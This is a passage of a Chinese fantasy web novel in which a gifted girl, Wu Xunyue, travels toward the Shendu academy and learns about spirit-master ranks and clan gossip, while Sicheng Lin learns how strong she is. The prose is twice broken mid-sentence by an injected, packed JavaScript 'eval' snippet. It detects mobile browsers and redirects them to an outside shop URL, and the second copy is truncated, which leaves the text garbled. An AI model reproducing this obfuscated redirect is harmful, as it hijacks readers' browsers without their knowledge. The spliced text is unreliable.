司城凛刚要说些什么,便被司城靖拦下,到了此刻,司城靖终能会心一笑:“和平期还剩下七年,可以让吾儿固本培元,就算老天要我今日死,我也瞑目了。” 由于风族统治阶层的内部制度问题,风族每十年轮值首尊之位,因此,风族与灵族以十年交替好战期与和平期。而今年,是进入本轮和平期的第三年。司城靖,也正是在上一轮好战期间两族爆发的战争中负伤。 事到如今,司城凛也不再以托词逃避,平静地道:“父亲放心,这七年和平期我定会加紧修炼的。” 司城靖将茶水一饮而尽,似是因为高兴,又多喝了几杯。司城凛耐心地等待着,他知道,父亲还有更重要的话要与他说。 润够了喉咙,司城靖开了口:“凛儿你知道,灵族以战力为尊,千万年来,最强灵师一向更喜欢任十一令之职,加上当年十八令改组时,也是战力靠后的灵宗进入天听阁作为议事机构,所以在灵师心里,十一令地位一向高于天听阁。” “是。” “但如今,灵族最强灵师却选择进入天听阁做大灵师,在她这些年的选拔和带动下,天听阁已面目一新,几位阁老的战力远胜于前,甚至几与十一令等量齐观。” “是。”司城凛再应了声。 司城靖笑了笑,接着说:“我有幸生在天才辈出的时代,神都学宫的现任祭酒梅晏晷,也是梅家史上的最强灵师,与我康健时不相上下……这大概是老天安排的制衡之术。” 司城凛问:“制衡?” 司城靖点点头,说:“三令座首云崖朝乾与七令座首赦罗,即便也是史上少有的强者,仅次于我与梅祭酒,但与我们终归不是一个量级——可凛儿你可知,云崖朝乾与赦罗的战力放在过去,已足够青史留名 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这一夜父亲说了很多很多话,司城凛明白,父亲前面所说的一切,都是为了最后所做的铺垫。只是当时他未能完全领悟,只得铭记于心。 直到很多很多年以后,父亲早已不在,那时他恍然间回想起今夜,才终于明白——这夜太短太短了,短到不够父亲对他说尽所有嘱托。 快天亮时,司城凛才从父亲房里出来。 值夜的侍从匆匆起身相送,司城凛本不想打扰他,可见他醒了,顺势便等不及交代了:“去把迦染找回来,要快,就说家中有极重要的事要告知她。” “是。” 灵族千万年的争斗史自是纷纷扰扰,波云诡谲,这一切,本该与千里之外的边城百姓无关。 但谁让某些小女孩打定主意要上神都了呢? 之后的日子里,巫寻月收拾东西,准备行李,等待路引批文,且有一阵子忙碌。 神都地处北方,冬天比邬戍城要冷许多,巫画荻先是操持给巫寻月置办了几大箱过冬用的床褥、棉袄,后来见行李实在多,干脆便算了,直接准备银两让她到了神都买自己喜欢的,巫画荻说,神都的东西肯定比他们这卖的好多了。 乡里乡亲的知道了,都纷纷过来相送,有的送些吃食,怕她去了吃不惯;有的给她做了新鞋,怕她赶路废脚。自然也有过来阴阳怪气,探听虚实的,巫寻月毫不在意,她现在满心满眼的只剩下了对未知前途的憧憬。 临行前家里最后一位客人,是秦艽。 巫寻月将之前桑家送她的首饰盒摆到她面前,说:“这些都给你吧,等我去了神都,我再自己买新的。” “啊?万万不可,”秦艽甚是惶恐,“这太贵重了,我爹娘定要说我,况且我整日干活,也没太多能戴的时候,真的不可!” 巫寻月不在意贵重,但见秦艽坚持,她只好改口让她挑一个,秦艽这才同意。 哪有小女孩不喜欢首饰呢,秦艽在盒子里精挑细选,满是开心:“果然是神都啊,这些款式和做工都是我没见过的,我都想不到簪子还能做得这么好看……” 秦艽很喜欢巫寻月生日当天戴的花赶蝶镶珠流苏银钗,可那太贵重太华丽,她并未挑走,拿了另一支素雅些的。 巫寻月为她佩戴时,她又喃喃道:“阿月,真羡慕你,你真的要去神都了……” 巫寻月突然就问:“阿艽,你想不想也去神都?” 秦艽像是以为听错了:“什么?我?” 巫寻月认真告诉她:“阿艽,有人告诉我,在神都只论能力,不论男女,只要你有自己的工作,靠自己的努力而活,都能受到敬重。” 此番言论于秦艽来说,真可谓是惊世骇俗,她难以置信地看着巫寻月:“……真的吗?神都真是如此?” 巫寻月笑起来:“我想过了,你厨艺甚好,双刀叶饼做得又好,如若你想去神都,或许我们可以试试卖些小吃,神都离我们千里之遥,我们这里的小吃,神都人未必见过,或许生意能火起来呢!” “真的耶,可是……”秦艽脸上担心总多于期待。 巫寻月想得倒是周全:“此事急不得,我还未到神都,也许那里的情况不尽如人意,总之,我此次先去帮你探探情况,等我在神都安顿下来,一定写信告诉你。” 秦艽一听,眼底燃起无尽的希望:“好啊阿月,我一定等你!” 临行前夜,巫寻月策马去了垩山。 可任她在山谷之中如何呼唤,小白也不肯出来见她了。 “小——白——”她一遍边喊,传回的,只有自己的回音。 巫寻月对着山谷深处大声呼唤:“小白!我知道你在,明天,我就要去神都了!我会在神都好好活下去!成为我想成为的人!然后——找到他!” “小白!神都学宫要上七年,路途遥远,每年我只能在暑假时回来……” “小白!以后没人给你带肉饼了!你要少吃点肉!减减肥!” “小——白——”最后一句,巫寻月哭着大喊,“——我每天都会想你的!等我回家!” 6. 第 6 章 各地府衙负责签批一般通关路引,唯独前往神都,得需驻守本地的灵师负责审核。 神都学宫九月开学,开学前夕会在各大城市设立接驳点,统一用双凫船接学生返校,想去参加入学考试的新生若有当地驻城灵师签批的路引,也可以乘坐此船。 离邬戍城最近的大城市是暮沉泊,普通平民乘坐马车需走十日,手持灵师签批路引可优先通关,优先匹配良驹,可缩短日程不少。 各地城镇自然是有灵师驻守的,他们定期换防,负责巡逻、值守,监测灵压异动,这些异动,来自灵爆异变的灵师,亦或是灵兽,异变乃不可逆转之象,一旦发现,就地诛灭,若是碰到当地驻守灵师处理不了的级别,便要加急上报神都。 若是靠近风族万墟风洲边境的城镇,那会是另一番阵仗,普通城镇叫驻守,边关城镇便是驻军了。 “派驻到哪里,派驻哪一令,这些都是天听阁决定的,在十一令中,只有一部令无需外派,一部令负责神都安防,神都便是一部令的驻守之地。”说这话的,是驻守邬戍城的灵师巡防指挥官。 几日前巫画荻带巫寻月面见当地驻守,想要前往神都考神都学宫的平民,都要先经过当地指挥官的基础试灵,若是完全不具有灵力,那便无需颠簸千里白跑一趟了。自然也有试灵失败之后却不肯放弃执意去考试的,指挥官并不阻拦。 但在巫寻月走进屋子的那一刻,指挥官便说不用试了。 “灵力过高却又不会隐藏的人,在我们靠近的瞬间就能感觉到,”指挥官惊异地看着她,“这种情况只会发生在初学者身上……请问,你家里之前有人是灵师吗?” 这个回答,巫画荻更有发言权:“没有的,我们父母都是平民。” “那可真是难得一见的天才。” 通关路引就这么顺利批下来了,启程当日,指挥官特意过来送行,陪着巫寻月一路出城。 巫寻月激动不已,有问不完的问题:“那你们每次派驻过来要来多长时间呢?” 指挥官说:“三个月,各地驻守每三个月换防。” 巫寻月刚听他说驻守职责包括监测灵师和灵兽异动,心下一惊,便问:“所有的灵师和灵兽都能监测到吗?” “不全是,封号灵师若是不想被发现,我们自然是发现不了,当然了,封号灵师的事我们也管不着,天听阁自有决断,”指挥官说得很详尽,“至于灵兽,灵兽的灵识不如人,即便是封灵级别的灵兽也学不好隐藏灵压,很容易被发现——除了上古九大神兽,他们已完全具备人的自主意识,所以,只有上古九大灵兽我们无法监测。” “上古九大灵兽?” “是,一共九头,全都尚在,它们不属于任何种族、地域,全凭自己的喜好行事,分布在天下各处,据说,长隐洲境内一共有五头,但不知都在何处。” 巫寻月显得有些出神:“天下一共九头,我们长隐洲就占了五头?” 指挥官一笑:“长隐洲本就是灵气遍布之地,所以才是灵族与灵兽的发源地……这些,我记得神都学宫第一年的历史课中就会讲,你很快就能了解。” “好……”巫寻月没让对方看出自己在走神。 指挥官闲庭信步一般,笑起来甚是恣意:“还有九天我便要换防回神都了,赶在回去之前最后送了你一程。其实还有些舍不得,邬戍城地方偏,又不靠近边境,没什么险情需要处理,生活很是惬意,等回了神都,我的工作要比现在忙碌不少,而且下一次又不知道会被派驻到什么鬼地方去了。” 这时他们已经走出了城门,逐渐放缓脚步,停了下来。 巫寻月面向指挥官,温然而笑:“还未请教您的名字?” 指挥官抬手行礼,道:“九部令长令玄麒——你现在一定还不了解十一令衔级,没关系,七年后你一定会有自己的衔级的。” 巫寻月也回礼,道:“九部令玄麒,巫寻月记住了。” 上车之前,巫寻月回头往垩山方向看了最后一眼。 马车启程了,与玄麒挥手告别,巫寻月的心绪却还未定。她一直惦念玄麒刚才那句话——封号灵师与上古灵兽的灵压,普通灵师无法监测。 ……不可能吧?难道那个人是封号灵师,小白是上古灵兽? 一定是哪里搞错了。比如,那个人和小白都在巡防灵师的监测之中,他们没什么异动,便也相安无事罢了,毕竟,她也不敢开口问玄麒知不知道垩山中居住着什么灵兽。 ——不对,前几日那个人灵压暴动,致使全程百姓昏迷,灵师们一定也被波及,她都知道,他们不可能不知道啊…… 可她第一时间赶去垩山,守了他一夜,的确并未见到任何灵师前来查探。 难道——他们管不了他? 那么,他到底是什么人呢? 或许这一切,等她到了神都之后,进入灵师的世界,慢慢就会有答案了。 巫寻月手持玄麒签批的路引,一路畅通,七日后便抵达了暮沉泊。神都学宫接新生的双凫船后日抵达,她寻了间客栈暂且住下。 玄麒给了巫寻月几本书,说是给她路上解闷,也帮助她初步了解神都和灵师。马车一路颠簸,她也顾不得看书,此时无事,她找了间茶楼坐下,将书本拿出来细读。 这第一本,便是《海洲图志》,描绘天下三洲概况和形势: “天下三分,人族山海部洲水草丰美,适合农耕,但多灾多病;灵族长隐灵洲灵气充沛,适合修炼,但地域有限;风族万墟风洲一片蛮荒,资源贫瘠,但万里无疆……” 像这样基础的地理图志,谷先生在私塾也给她讲过,不同的是,这本书里更加着重于讲述与灵师相关的事: “灵族驻军于人族山海部洲边境,以帮助人族抵御风族对山海洲的侵略,驻军统帅由十一令中二令座首承袭,成员每两年进行换防,二部令担任主要力量,其余九令抽调人手共同组成。” 可是,灵族为什么要帮助人族抵御风族,书里就不再详细讲述了。 像这样的种族关系问题,巫寻月在几年前刚刚读书的时候就提出过疑问,只是小小的邬戍城里无人能将其中的历史渊源讲清楚,大家普遍认知的只有——灵族和风族,是千万年宿敌。 而她走出邬戍城的第一步,就见识了原来两族间还有第三方势力参与其中——人族。那么,灵族、风族、人族,究竟是怎样的关系?又是如何发展成现在的局面的呢? 原来邬戍城真的很小,很偏,很远,若她永远留在那里,那就永远无法知晓这个世界真正的样子了吧。 《海洲图志》之后,是《神都制式》,讲述神都城建风貌,主要功能区分布,以及主要机构驻地、家族府邸等。 与巫寻月所预想的不同,神都最为醒目的所在,既不是十一令,也不是天听阁,更不是六大宗族府邸——即便弥氏没落,弥府也并未拆除,地图上有所标注:弥府遗址。 ——最为醒目的,是城北方向的大片训练场,其中有山林、湖泊,也有荒地、沙洲,占据了神都的大半面积,并不断外延。灵族崇武,灵师需要不断修炼提升,如此设计,也在情理之中。 第二醒目的,是司城府邸,位于都城中轴线东北侧。与之形成鲜明对比的是,二至十一令的驻所以及天听阁都分布在其周围,每个机构大概只有司城府的三分之一大小,可要知道,十一令驻所包含了办公区和宿舍区,每一令府都居住着上千人——九部令除外,九部令驻所与司城府面积差不多。而剩下的一部令,由于负责神都守备,驻所在城门附近。 其余五大家族府邸各自分散,也比十一令驻所要大,但终归比不过司城家。这些机构布局并不紧密,其间分布着大量湖泊、树林、河道,甚至一些商业街,但总而言之——神都城北居住着灵族高层,城南居住着普通灵师和平民。 巫寻月注意到,地图下面有一行注解小字:神都原为凌海城,为司城家本部所在,灵族定都于此后改称神都,司城府邸原址不变,城建往北面、西面、南面外扩,逐渐形成今日面貌。 巫寻月心中有了猜想,立即着手实践——将地图的北面、西面、南面遮住之后,果然——司城府邸,就变成了原凌海城的中央所在。 巫寻月想起来,灵宗庙里供奉的十八灵宗首宗司城夫,便称凌海宗——原来出处于此。 往下又看了看城南有些什么有趣的地方,好一会儿巫寻月才想起来,该找学校了。可寻遍地图也不见神都学宫,她往后翻页,才发现——原来神都学宫不在城内,是在城外有些路程的一座山上。 而掌管灵族灵术教育,世袭神都学宫祭酒之位的梅家,可是和诸位灵族高层一样住在城北的。 “——梅府离神都学宫这么远?”巫寻月不由得惊异,“那梅家人每日往返学校,岂不是很辛苦?” “——你怎么会担心梅家人辛苦?”不知是谁在回答她,巫寻月循着声音回头一看,一个面容姣好的女孩正好笑地看着她,又接着说,“人家可都是高阶灵师,这点路随随便便就到啦,更何况是梅校长,以封号灵师的功力,可能眨眼之间就到了吧。” 见她友好,巫寻月也向她抛去友善的微笑:“你是灵师吗?” 女孩一边答,一边走近她:“在灵师的世界里,只有升入第一层真灵境,学会了自己的第一个必杀技,才能算是真正的灵师。” “所以,第一层才叫做真灵境?” “没错。不过嘛,广义来说,从神都学宫毕业之后就都是灵师了,我们称为见习灵师。” 巫寻月面露不解:“从学校毕业的时候,还不能到真灵境吗?” “七年级的毕业标准是七重灵,未达标者延毕,在七重灵之后还有八重灵、九重灵,才能升入真灵境,”女孩很乐意详尽地告诉她,“绝大部分的毕业生都是七重灵,九重灵就能被评为优秀毕业生啦,要是毕业前就是真灵境的话——那代表你大概率能成为封号灵师。” “……真的吗?” “那当然了,现在在任的所有封号灵师,无一不是毕业前就是真灵的。” 巫寻月还在慢慢消化这些知识,完全没注意女孩看着她的眼睛里充满了歆慕,主动就做起了自我介绍:“我叫玉文瑛,神都学宫三年级。” 巫寻月猛然回神,回应道:“我叫巫寻月,我……准备到神都去,考神都学宫……” “你一定会考上的!”玉文瑛一把抓住了她的手,双眼光芒闪动,惊艳愈演愈烈,“——你好漂亮啊……你是我见过最漂亮的女孩子,我都想不到怎么会有人漂亮成这样……” “啊?我……谢谢,”她太热情了,巫寻月有些反应不过来,“你……从哪里来?为什么也坐船去学校?” 玉文瑛主动在巫寻月身边坐下了,笑言:“我去看我爹,我爹隶属二部令,现在随军驻防在山海洲,因为是和平期,没有战事,所以可以让家属探视,一放暑假我就过去了。” 还好刚刚在书里读到二部令驻守山海洲,要不然这一番话,巫寻月该一头雾水了。她问:“山海洲那得多远啊……我从邬戍城到此都走了七日呢,你暑假时间够吗?” “天听阁会组织驻军家属统一过去,因为很多守军的孩子在上学,所以这个时间就定在暑假了,也是乘坐双凫船,不到三日便能到。原本我也要坐船直接回神都的,爹爹要我半道回乡看看奶奶,我便从暮沉泊下了船。” “你家乡在暮沉泊吗?” “在流虹城,距离上与邬戍城差不多。” “哦!我知道!”巫寻月很是惊喜,“此处再往南一些,我们邬戍是往西去。” 玉文瑛也笑起来:“对,我母亲和我奶奶都在,我十三岁入神都学宫前一直生活在那里,后来爹爹把我带到神都上学,母亲也跟着去了。” 暮沉泊是南方地区最大渡口,普通平民要北上也得来此转水路,到神都需一月有余的时日。在位置上,邬戍城与流虹城同属西南,现下两人要一同北上,便算是老乡了,天然生出几分亲近。 既如此,巫寻月便也不客气了,拉着她问:“文瑛,刚才我看书里说的有好多地方不明白,我可以问你吗?” “好啊好啊,”玉文瑛很是积极,“公共课都是一二年级上的,我所知道的,怎么也该够解答你这个小白的疑问了。” 巫寻月笑起来,找到书中那处不解的地方,挪过去就问:“我发现,九部令驻所比其他十令都要大好多,为什么呢?是因为九部令人特别多吗?” 你要聊这个,玉文瑛可就不困了。玉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16674282|188673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 文瑛一下子激动地抓住巫寻月双手,两眼放光:“大美女,你这第一个问题,就问到了八卦中心。” “什么?八卦中心?” “你还不知道吧……”玉文瑛故作神秘,拖了段空白才揭晓答案,“司城宗族世袭九令座首,每一任司城宗主都是九令座首,那神都本就是司城家的大本营,建都之时自然是九部令优先选地盘,听说挑了个风水最佳之地,少一寸都不行。加上司城家贵为宗族之首,钱财无数,有的是钱修府舍,所以,九令府舍所在便是十一令中最气派的啦。” 巫寻月听明白了,却又不明白:“那——这些和八卦中心有什么关系?” 玉文瑛用手撑着下巴,凑近她几分,眯起笑眼,神秘而隆重地介绍道:“司城家的世子,可被称为神都第一美男,他现在已任九令副座,将来等他继任司城家宗主,也会是九令封座——你知道多少人挤破了头想去九部令吗?不光府舍条件好,月例丰厚,还能在世子麾下瞻仰他的绝世容颜……” 其他倒没什么,直到听到“月例丰厚”,巫寻月也忍不住跟着笑了。她被带起好奇心,想了想又问:“副座?是仅次于封座的衔级吗?这样的人物……年纪应该不小吧?怎么还……” “——所以这才是重点啊!”玉文瑛激动得一阵捶桌,“司城家世子今年不过二十二,尚未婚配,不然哪来那么多女孩儿倾慕向往呢?” 此刻巫寻月心里想的,却是那个人的脸。见过了那张天神般的颜仪,似乎无论再听到别的男子帅得有多夸张,都再也扰不动她的心了。 见她反应平平,玉文瑛接着又说:“你现在理解不了,在见到世子之前,我也想象不出这世间竟能有如此绝色——就像见到你一样!” 她这话锋急转,又惹巫寻月脸红了。所以她赶紧将话头转回:“这么说你见过世子?” “见过,”玉文瑛骄傲极了,脑海里又回味起那一幕,“世子已毕业四年,听说他勤修苦练,时常会找梅校长请教,去梅府不见人,就会寻到学校来,所以我也是偶然那一次见到的——你都不知道!那一天几乎全校都挤到校长办公的那条路去了!” 这阵仗任谁听了都觉得夸张好笑,巫寻月惊道:“这么……激动啊……” “因为那次难得是放学时间,听说世子知道会这样,从来只在上课时间来,那次大概是寻校长寻得急了。” 听起来倒还是个不错的人。巫寻月轻轻一笑,比起八卦世子,她更急于知道更多有关灵师的事,又问:“你刚才所说的这些称呼,我都分不太清。” 玉文瑛向她好好说道:“十一令各自的首领称为座首,但因为座首之职只能由封号灵师担任,为了突出封号灵师的地位,自古就习惯称为封座。次席称为副座,只设一位,余下衔级众多,你慢慢就会知道了——哦对了,我们梅校长的正式官职为神都学宫祭酒,所以正式称呼为梅祭酒,但在学校里大家都喜欢叫校长。” “我明白了,”巫寻月由衷地冲她微笑,“谢谢你,文瑛,其实这些称呼之前我听我们邬戍驻守的灵师说了多次,可我听得糊里糊涂的都不明白。” 说到这个,玉文瑛饶有兴趣地问:“你们驻城灵师给你试灵了吗?结果怎么样?” 巫寻月愣住,不知如何作答:“……试了。” “结果如何?” “……他说,可以。” 玉文瑛满脸困惑:“可以是什么意思呀?当地驻城灵师都要给出准确结果的,不然会害人白跑一趟的,刚入学一年级不是一重灵就是二重灵,很容易就试出来的呀。” 玉文瑛这论断,是指世家子弟和稀世天才之外的绝大多数——当然没人会怀疑来自偏远小城的平民没有什么极高天分。 可玄麒的确没给她试灵。巫寻月实在不知如何解释,只得老实说:“当时我一走进门,他便说不用试了,然后就给我签了路引。” “这也太不负责了!他怎么能这样?如此草率,可知你到神都千里迢迢?”玉文瑛义愤填膺,看起来是真着急。她好好想了想,有了主意:“哎!我有一个法子可以试你的灵!” “是什么?”巫寻月的确也是想知道的。 “灵术入学第一课——调息,”玉文瑛解释道,“调息是让你认识自己体内灵力的第一步,灵力在我们没学会管理之前,在我们身体里是紊乱的,只有先学会调息,也就是感受它,学着整理它,让灵力开始受我们自主意识的控制,才能开始学习灵术。” “那,调息又是怎么能试灵呢?” “新生学习调息,必然要经历失败,这个失败就会导致灵压外泄——当然,我们这点灵力泄就泄了,伤不了人,”玉文瑛笑起来,“只要你的灵压外泄,我们就可以知道啦。” 巫寻月当然也是想试的,但得确定:“真的不会伤人吗?” “放心吧,低年级的学生都能伤人,上面那些灵师还混不混了?”玉文瑛都要笑话她了,抓起她的手就要走,“来,我带你去试试。” 巫寻月跟着玉文瑛坐到榻上,两人并排而坐,巫寻月学着她双腿交叠打坐,听她指导:“调息,首重意念与呼吸相合。首先,需闭上眼睛,静坐凝神……” 巫寻月缓缓闭眼,全神贯注听着指挥。 “将意念沉于体内,以心神为引,以呼吸为节拍……慢慢地,你便能感觉到体内灵力流转,自然顺应呼吸节奏,与心神共振……” 调息是伴随灵师终生的一件事,随着灵力提升,想要调整和运用好更强的灵力,调息的方法和时间也得随之提升。玉文瑛的调息学得不错,内息调和,灵力通达——自然也因为她灵力低微,尚易管理。 可巫寻月就不一样了,她体内灵力过高,又从未学过灵术,且不在老师的针对性指导下学习,才做到第二步,她体内的灵力就乱了。 玉文瑛已平静下来,一边悉心指导,可她没看见一旁的巫寻月神情隐忍不安,眉头皱起,指尖发颤。 巫寻月第一次如此真切感受到了自己的灵力,它们正在她体内横冲直撞,那些灵力似脱缰的野马散乱惯了,突然要受她意念辖制,纷纷揭竿而起。 终于,她不得已失控,仰头一声呻吟:“啊啊啊——” 玉文瑛一睁眼,就看到自己被震飞到了地上。 7. 第 7 章 茶室里的人们都看了过来,这其中最为震惊的还得是玉文瑛。她瞠目结舌,却没在盯着巫寻月,似乎还没明白过来是怎么回事。 巫寻月急促地大口呼吸,可一见到玉文瑛摔倒在地,便顾不得立即起身去扶她:“文瑛,你没事吧,对不起,我还是不会……” 玉文瑛这才意识到了实情,反手抓紧她,不可置信道:“——这灵震是你发出来的?” 巫寻月吓得一愣,才说:“是我。” 玉文瑛目瞪口呆,缓了半天才能开口:“你……你今年几岁?” “刚满十五。” “竟是和我同岁,可我才三重灵,难怪我察觉不到你的灵力,我方才感觉你的灵压与高年级的毕业生程度相似,约莫是七重灵以上……可我观你灵压颇为暴烈,是未曾开灵之象……你竟有七重灵了,仍未开灵?” 巫寻月赶忙先将她扶起,两人重新坐好,再向她解释:“我住在邬戍城,甚少接触灵师,家中父母也并不是灵师,只是前阵子偶然得知我或许可以来神都一试,我便来了。” “难怪如此……”玉文瑛算是了然,可仍震惊,“怎会如此,你未曾接触灵师,竟有至少七重灵?那可是七年级毕业生的水准,那岂不是等你七年后毕业时……你断然已是真灵!” 串联起她之前的话,巫寻月明白了,说:“可我毕业时已有二十二了,你所说的封号灵师毕业时已是真灵,他们都是十一岁入学的吧,二十二时早已是更高境界……” 玄麒告诉过巫寻月,神都学宫最早接受学生十一岁入学,因为大部分人都是在十岁左右开灵,学制七年,因此标准学龄为十一至十八岁。但每个孩子开灵年龄不一,也有开灵得晚的,因此,每年入学新生的年龄都不尽相同,十一岁也只占一半,其余的分布在十二至十八岁不等,像巫寻月这样十五岁入学的也不在少数。 唯一的区别是,人家十五岁入学是因为十五岁才有一重灵,她十五岁入学,是她不知道自己早有灵力。 因为这些信息差终归也只有灵师家庭或是住在神都的平民能够掌握,神都外的大城市诸如暮沉泊,驻城灵师也会广发告示邀请当地孩童试灵,可再往偏远地区,诸如邬戍城,便不怎么受重视了,即便驻城灵师每年也会例行公告,百姓们却也大多认为与自己无关。 在远离神都的普通灵族平民眼中,灵师是如神明般遥远而神秘的群体,他们在看不见的地方默默守护灵族安危,而普通平民所能做的,便是逢年过节前往灵宗庙虔诚祷告。 “非也,”玉文瑛告诉她,“修炼不是均等渐进的,十八岁时是真灵,未必二十二岁就能飞升隐灵,越往上,自然是越难。你看我,虽然三年级已是三重灵,可从三重灵到七重灵便不再轻易能一年上升一重了,若我不勤加修炼,七年级时可能就毕不了业了。” 既说到此处,巫寻月也该问了:“那么,灵力修为的上升顺序又是怎样的呢?” “从一重灵到九重灵,都是开灵阶段,之后升入真灵境,再到隐灵境,破灵境,此处便是绝大多数灵师的终点了,”最后,玉文瑛以无比尊崇的语气说,“再往上,便是封灵境,尊称封号灵师,他们便是整个灵族的灵力巅峰。” 巫寻月逐渐跟上了她的节奏:“那封号灵师是不是很少?” “在任的一共二十一人,十一令占十一席,天听阁有七席,五大宗族还有三席,其中一位是我们梅校长。” 梅家也属五大宗族之一,灵宗庙里供奉的偃鹍宗,便是梅家始祖。 巫寻月盘了盘相关信息,做了总结:“那么,五大宗族除了没落的弥家,现在各自有一位封号灵师,我知道桑家也任十一令之一,司城家任九部令,梅家掌管神都学宫,那么剩下的两个宗族呢?” 这些称呼的方式,虽然玉文瑛没解释,但巫寻月从她的话中领会到了。“十一令”为统称,若单独特指其一,则称“几部令”。 果然,玉文瑛当即就夸:“你好聪明,是这样的,剩下的空相家和狄家,一个统管城建,一个执掌商贸,两家很多很多年前就退出了十一令,专精家族事务,现在也只保留天听阁议事席位。” 巫寻月崇拜地看着她:“文瑛,你知道的好多啊……” “我这算什么,这些呀,都是一年级的历史课讲的,是最最基本的灵族史,你马上就能学到啦,”玉文瑛满是真诚,回望她的眼神里才是惊叹,“我才是有眼无珠,竟想不到我们遥远西南边城,有如此天分之人,又生得甚美……我运气也太好了吧,能在这途中遇见你!” 巫寻月被她逗笑了,也真心实意说:“我哪有什么,该是我运气好,本来我这一路充满迷茫,常常开始怀疑我到底是不是真的能去神都学灵术,甚至这到底是不是去神都的路……有幸遇到你告诉了我这么多,我现在才算是心安了些。” 看着巫寻月这张惊世绝艳而又纯真之至的面容,玉文瑛由衷感叹:“寻月,要不了多久,你就会轰动整个神都学宫……” 两人后来发现恰巧同住一家客栈,这两日便一直结伴而行。 从玉文瑛这里,巫寻月建立起了对灵师世界的初步认知,也对神都生活有了切实了解,这些比玄麒送她的书要细致、具象得多。毕竟,有些话是永远也写不进书里的。 比如,一部令负责神都守备,不必外派,也不必抽调驻军山海洲,所以,一部令里世家子弟最多,俗称“关系户”,毕竟高门大户谁也不愿自己的孩子出去吃苦。因此,一部令的府舍也空置得最多,相当一部分人家住神都。 比如,司城府邸与训练场中间隔着几座府舍,是因为司城家不想听到灵师在附近训练的吵闹声,同时灵师们也怕训练时不小心对司城府邸产生破坏——没人敢想要赔多少钱。 再比如,虽然天听阁负责议定、调度和审判,是长隐洲的权力中心,却未必是灵师的权力中心,至少在绝大多数灵师心里,十一令和五大宗族才是灵族的代表。 当然也有许多八卦部分。 比如,狄家郡主狄乐凰被誉为神都第一美人,现年十七岁,开学便是七年级,即将参加毕业大考,相传与司城凛是挚友,但许多人相信或者希望他们二人是一对。 比如,司城家郡主司城迦染,十六岁,正在辍学,据说她性情洒脱不羁,来神都学宫读了两年便不再来了,喜欢跑到山海洲去,就连司城家的人也很难找到她。 又比如,梅家世子梅见蹊,二十五岁,在神都学宫教书,英俊潇洒,据说女朋友无数。 总而言之,灵师的话题永远围绕着十一令和五大宗族这两个核心。 千里之外的神都,今日风和日丽。 十一令中有个笑话——低头沿着灵谕大道一直走,不要看沿街机构的招牌,直到看到哪座府舍特别华丽特别贵气,地砖都尤为光亮,那一定是到了九部令。 九部令府距离司城府邸并不近,隔东西相望,当年司城夫选址时只考虑风水,丝毫未考虑距离,因为司城夫本人遁术极强,这点距离对他不过眨眼而已——即便他不为后人考虑,但好在,司城家子孙不负他所望,还真代代遗传了优秀的遁术。 ——又或许本末倒置,是上班太远不得不练出来的。 玄青色的匾额上刻着贴金四字——九部令府,一行人身着玄青色劲装官服,腰间悬挂玄青底色“九”字令牌,大步流星踏入匾额之下。 进入府院,所见往来之人男男女女皆是玄青色劲装官服,忽见一人,相视之后,对方立刻笑脸相迎:“玄麒!回来了!” 玄麒一行人停下脚步,两人都未行礼,看起来很熟。玄麒嘴角一别,道:“都不想回来了,邬戍城真是好地方,你别瞧山高路远,风景却甚好,小吃丰盛,美酒醉人……” “哎呦哎呦,这小日子过得不错呀,”对方揶揄道,“下次让副座大人给你派到极北之地去,看你还怎么……” “——你别给我乌鸦嘴!”话音未落,玄麒一脚就踢了上去。 “哈哈哈哈……”众人都笑了。 一行人赶着复命,便不多说。 座首书房要费些脚程——主要还是府舍太大了,七拐八绕的,穿过无数景观、连廊,才终于抵达那间巨大的屋子。 ——你说封座自己要不要走这么远?当然不,他一个瞬移人就到书房门口了。当然,也只有他能这么走,其他人都得老老实实走正门。 玄麒带人立在门口,颔首行礼,高声禀报:“禀告副座大人,属下长令玄麒,带部下三人,自邬戍城换防回都,特来述职!” 里头传来一道沉厚深稳的嗓音:“进来。” “是!” 玄麒推门而入,一眼望见屋子尽头的司城凛,他正提笔伏案,并未抬头。副座官服与部众并无不同,同样是玄青色劲装,窄袖交领,黑色皮制护腕。 唯一不同的是,他顶戴赤金流焰蓝玉冠,腰带镶金,悬挂珠玉组佩——毕竟是大贵族,人长得又帅,多少得有些臭美。 一行人来到近前,一同行礼,尊称:“副座大人。” 司城靖已将九部令事务交由司城凛全权执掌,自他升任副座的第一天起,他就没进过一次副座书房,直接就从基层进了这个屋子。 司城凛缓缓搁笔,抬眸,声线沉静如檀:“玄长令,一路辛苦。” 玄麒接着颔首,汇报道:“禀副座,我四人此行戍守邬戍城,一切顺利,未见异常。期间签批灵师路引五人,未见行程异常;签批神都学宫入学考试路引一人……” 话说到此,司城凛眼皮微动,待听完“未见行程异常”,便开了口:“那人何时启程的?” 玄麒抬起头,说:“禀副座,我告知她暮沉泊有神都学宫的接驳船,需于指定时间抵达,为防意外,特意令她提早两日出发,算算日子是九日前,这两日应该到神都了。” 司城凛垂眸不语,好一会儿,玄麒试着问:“副座,可有不妥?” 司城凛问:“你可有为她试灵?” 玄麒笑了笑:“禀副座,原本是要试的,可因她灵力强旺,又未会调息,一见便已暴露,约莫有五重灵,便免了试灵。” “……”司城凛变了脸色。原想玄麒为巫寻月试了灵,他便顺理成章可知她究竟几重灵了,可现在——大错特错!分明至少七重灵。 见他脸色骤变,玄麒吓得猛地低腰埋首:“副座……可有何不妥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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来到一处校舍门前,门开着,司城凛一言未发,径直步入。等见到人,先发话的还是对方:“察觉到你的灵压我还以为错了,现在想想,司城封座当然是故意的,否则我一个小小的隐灵,怎么还能发现您呐。” 司城凛尚未正式升任座首之职,不该如此称呼,不过这个人嘛,向来也没正经。这话说得满是酸味,司城凛也习惯了,并不理会,开门见山道:“我有事要你帮忙。” 